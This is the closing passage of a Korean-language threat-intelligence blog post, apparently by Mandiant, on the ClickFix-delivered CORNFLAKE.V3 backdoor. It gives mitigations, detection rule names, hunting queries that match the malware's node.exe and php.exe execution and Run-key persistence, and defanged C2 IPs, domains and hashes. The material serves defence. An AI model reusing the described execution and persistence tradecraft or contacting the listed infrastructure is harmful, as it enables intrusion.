이번 조사는 현대 사이버 위협의 협업적 특성을 잘 보여줍니다. UNC5518은 해킹된 웹사이트와 기만적인 ClickFix 미끼를 활용하여 초기 접근 권한을 획득합니다. 그러면 UNC5774와 같은 다른 공격자들이 이 접근 권한을 사용하여 CORNFLAKE.V3 백도어와 같은 다재다능한 악성코드를 배포합니다. 이어서 관찰된 정찰 및 자격 증명 탈취 활동은 공격자들이 측면 이동(lateral movement)을 통해 환경 내에서 발판을 확장하려는 의도를 가지고 있음을 시사합니다.

ClickFix를 통한 악성코드 실행을 완화하려면, 가능한 경우 Windows 실행 대화 상자를 비활성화해야 합니다. 또한, 이러한 사회 공학적 전술과 다른 전술에 대응하기 위해서는 정기적인 시뮬레이션 훈련이 매우 중요합니다. 더 나아가, CORNFLAKE.V3와 관련된 페이로드 실행을 탐지하기 위해서는 견고한 로깅 및 모니터링 시스템이 필수적입니다.

감사의 글

이 블로그 게시물에 작성에 기여를 해주신 Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis 및 Rommel Joven에게 특별히 감사드립니다.

Google Security Operations를 통한 탐지 

다음 쿼리를 사용하여 이러한 활동을 추적하는 방법에 대한 자세한 지침과 당사의 보안 전문가들과 소통할 수 있는 포럼은 Google Cloud Community 블로그에서 관련 게시물을 방문하여 확인하시기 바랍니다. 

Mandiant는 관련 규칙을 Google SecOps Mandiant Frontline Threats 엄선된 탐지 규칙 세트에 추가했습니다. 이 블로그 게시물에서 논의된 활동은 Google SecOps에서 다음 규칙 이름으로 탐지됩니다.

  • Powershell Executing NodeJS

  • Powershell Writing To Appdata

  • Suspicious Clipboard Interaction

  • NodeJS Reverse Shell Execution

  • Download to the Windows Public User Directory via PowerShell

  • Run Utility Spawning Suspicious Process

  • WSH Startup Folder LNK Creation

  • Trycloudflare Tunnel Network Connections

SecOps 헌팅 쿼리

다음 UDM 쿼리를 사용하여 환경 내 잠재적 침해를 식별할 수 있습니다.

CORNFLAKE.V3 실행 — Node.js 

PowerShell이 %AppData% 경로에서 -e 인자와 함께 node.exe를 실행하는 잠재적 침해 활동을 검색합니다. 이는 악성 JavaScript 문자열의 직접적인 실행을 나타냅니다.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase
CORNFLAKE.V3 실행 — PHP

사용자 환경에서 PowerShell이 %AppData% 경로에 있는 php.exe-d 인자 및 추가로 1을 전달하며 실행하는 경우 잠재적인 침해 활동으로 간주될 수 있습니다. 이러한 활동은 악성 PHP 코드를 파일 확장자 없이 은밀하게 실행하는 특징을 보입니다.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase
CORNFLAKE.V3 자식(child) 프로세스 실행

cmd.exe 또는 powershell.exe%AppData% 경로에 있는 node.exe 또는 php.exe의 자식(child) 프로세스로 실행되는 의심스러운 프로세스 활동을 검색합니다.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = 
/appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase 
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase
의심스러운 Node.js/PHP 도메인 네트워크 연결

powershell.exe 또는 mshta.exe에 의해 시작된 Node.js(nodejs.org) 또는 PHP(windows.php.net)와 같은 정상적인 인프라 도메인으로의 비정상적인 네트워크 연결을 검색합니다.

metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase 
target.hostname = /nodejs\.org|windows\.php\.net/ nocase

위협 침해 지표 (IOCs)

GTI(Google Threat Intelligence)에서 수집한 IOC는 등록된 사용자에게 제공됩니다.

호스크 기반 아티팩트

아티팩트

설명

SHA-256 해시

C:\Users\<User>\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log

지속성을 위해 사용된 CORNFLAKE.V3 (Node.js) 샘플 사본

000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater

CORNFLAKE.V3 (Node.js) 샘플을 실행하는 레지스트리 런 키

N/A

C:\Users\<User>\AppData\Roaming\php\config.cfg

CORNFLAKE.V3 (PHP) 샘플

a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube

CORNFLAKE.V3 (PHP) 샘플을 실행하는 레지스트리 런 키

N/A

C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png

CORNFLAKE.V3 (PHP)가 드롭한 WINDYTWIST.SEA 백도어 샘플

14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c

네트워크 기반 아티팩트

IP 주소

설명

138.199.161[.]141

CORNFLAKE.V3(Node.js) 멀웨어 배포에 사용된 UNC5518 관련 IP 주소

159.69.3[.]151

UNC5774 관련 CORNFLAKE.V3(Node.js) C2 서버

varying-rentals-calgary-predict.trycloudflare[.]com

UNC5774 관련 CORNFLAKE.V3(PHP) C2 서버

dnsmicrosoftds-data[.]com

windows-msg-as[.]live

CORNFLAKE.V3(PHP) 멀웨어 배포에 사용된 UNC5518 관련 도메인 

167.235.235[.]151

128.140.120[.]188

177.136.225[.]135

UNC5774 관련 WINDYTWIST.SEA 백도어 C2 서버 주소

게시 위치